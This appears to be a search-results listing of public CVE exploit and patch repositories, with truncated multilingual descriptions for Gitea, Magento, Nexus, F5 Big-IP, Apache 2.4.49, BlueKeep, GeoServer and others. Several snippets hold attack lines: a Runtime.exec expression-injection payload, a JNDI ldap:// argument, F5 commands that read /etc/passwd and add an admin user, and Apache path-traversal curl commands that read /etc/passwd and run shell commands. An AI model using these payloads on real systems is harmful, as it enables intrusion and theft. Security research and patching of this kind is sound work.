514675 matches found
CVE-2022-30781
🍵 CVE-2022-30781 Exploit di esecuzione remota di comandi tramite migrazione repository Gitea. Come usare 1. Esegui un server filesystem HTTP con i file in questo repository. 2. Modifica il comando da eseguire in api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migra un repository remoto con URL...
CVE-2020-8840
CVE-2020-8840: Vulnerabilità di esecuzione remota di codice in FasterXML/jackson-databind 0x00 Introduzione root@kitploit: jackson-databind è una libreria di elaborazione JSON appartenente al gruppo di progetti FasterXML. 0x01 Panoramica della vulnerabilità root@kitploit: Il 19 febbraio, NVD ha...
magento2-template-filter-patch
Magento 2 Template Filter Patch für CVE-2022-24086, CVE-2022-24087 Magento 2 Patch für CVE-2022-24086, CVE-2022-24087. Behebt die RCE-Sicherheitslücke und damit verbundene Fehler durch tiefgehendes Escaping von Template-Variablen. Wenn Sie Magento nicht aktualisieren oder die offiziellen Patches...
magento2-session-reaper-patch
Patch Magento 2 per Session Reaper per CVE-2025-54236 Patch per CVE-2025-54236 noto anche come Session Reaper che consente il takeover dell'account cliente e l'esecuzione remota di codice RCE in determinate condizioni. Questa patch è in realtà un'estensione Magento 2 e universalmente compatibile...
magento2-cosmic-sting-patch
Patch per Magento 2 per CVE-2024-34102 noto anche come Cosmic Sting Una soluzione alternativa come estensione per Magento 2 per correggere la vulnerabilità XXE CVE-2024-34102 nota anche come Cosmic Sting. Se non puoi aggiornare Magento o non puoi applicare la patch ufficiale, prova questa. Se non...
MSDT_CVE-2022-30190
MSDTCVE-2022-30190 Questo repository parla di Follina MSDT dal punto di vista di Defender Index About Timeline Understanding the Exploit List of IOCs Detection Strategy Testing and Researching Mitigation Plans References About Il bug è una vulnerabilità di esecuzione remota di codice in Microsoft...
spring-framework-rce
spring-framework-rce CVE-2022-22965 Requisiti di ambiente 1. tomcat8 8 Utilizzo 1. Scarica springframeworkrce-0.0.1-SNAPSHOT.zip, estrailo e rinominalo in ROOT.war. 2. Sostituisci la cartella ROOT o il file ROOT.war nella cartella webapps all'interno di tomcat. 3. Spostati nella directory bin...
CVE-2020-10199
Nexus Repository Manager 3 Vuln versioni interessate: = 3.21.2 CVE-2020-10199, CVE-2020-10204, CVE-2020-11444 CVE-2020-10199 Esecuzione remota di comandi POC con output POC senza output $\A''.getClass.forName'java.lang.Runtime'.getMethods6.invokenull.exec'touch /tmp/cve-2020-10199' Privilegi...
REALITY_SMASHER
REALITYSMASHER vRealize RCE + Privesc CVE-2021-21975, CVE-2021-21983, CVE-0DAY-????? "Tanto facile da fermare quanto da comprendere." Cos'è? "Reality Smasher" è un exploit per vRealize che sfrutta i problemi di sicurezza affrontati in VMSA-2021-0004 CVE-2021-21975, CVE-2021-21983 oltre a una...
CVE-2020-1947
CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...
CVE-2020-5902
CVE-2020-5902 Script Python per sfruttare F5 Big-IP CVE-2020-5902 Esempi Exploit di lettura di file locale: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploit RCE: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...
CVE-2024-39840-POC
angepasst von Write-up: https://memorycorruption.net/posts/rce-lua-factorio/ funktioniert auf factorio 1.1.86...
CVE-2019-0708
CVE-2019-0708 Initialer Exploit für CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP Remote Windows-Kernel Use-After-Free Der RDP-Treiber termdd.sys behandelt Bindungen an den nur internen Kanal MST120 fehlerhaft, sodass eine fehlerhaft formatierte Disconnect Provider Indication-Nachricht einen...
cve-2021-41773
cve-2021-41773 CVE-2021-41773 Vulnerabilità di Path Traversal in Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Seguici Vulnmachines...
CVE-2019-0708
CVE-2019-0708 BlueKeep Derzeit veröffentliche ich nur die Exploit-Notiz für Windows 7 x64. Siehe NOTE.md Hinweis: Windows 2008 R2 mit Standardkonfiguration fDisableCam=1 kann ausgenutzt werden. Die Zuverlässigkeit ist dieselbe wie bei Windows 7. Update Juli 2020 Informationen für Windows Server...
tech-seminar-React2Shell
React2Shell CVE-2025-55182 Seminário técnico WooriFISA 6ª edição - Equipe 3: Análise e pesquisa da vulnerabilidade de execução remota de código RCE explorando a falha de design do React Server Component RSC, React2Shell Equipe...
CVE-2022-25581
CVE-2022-25581 Im gesamten Internet nicht auffindbar – hier als Backup hinterlegt. Python-Exploit-Skript zur automatischen Durchführung der folgenden Schritte: ✅ Ziele des Skripts 1. Im Backend anmelden csrf und token abrufen 2. Ein bösartiges Request-Paket konstruieren, um ein Archiv mit Webshel...
confluence-rce-poc
confluence-rce-poc Einrichten des POC für CVE-2021-26084 Docker Gebe das offizielle docker-entrypoint.sh an postgres weiter, ändere DB-Benutzername und Passwort nach Bedarf...
geoserver-
Strumento di exploit per geoserver CVE-2024-36401 geoserver CVE-2024-36401 Ambiente: JDK8. Dichiarazione: solo per test autorizzati. L'utente è responsabile di ogni conseguenza derivante da un uso improprio; l'autore non è coinvolto. Si prega di rispettare leggi e regolamenti! 1、Payload...